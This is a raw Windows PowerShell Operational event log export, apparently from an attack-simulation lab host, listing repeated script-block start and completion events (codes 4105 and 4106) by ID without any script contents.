Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047943
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047942
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047941
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047940
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047924
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047923
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047918
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047917
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
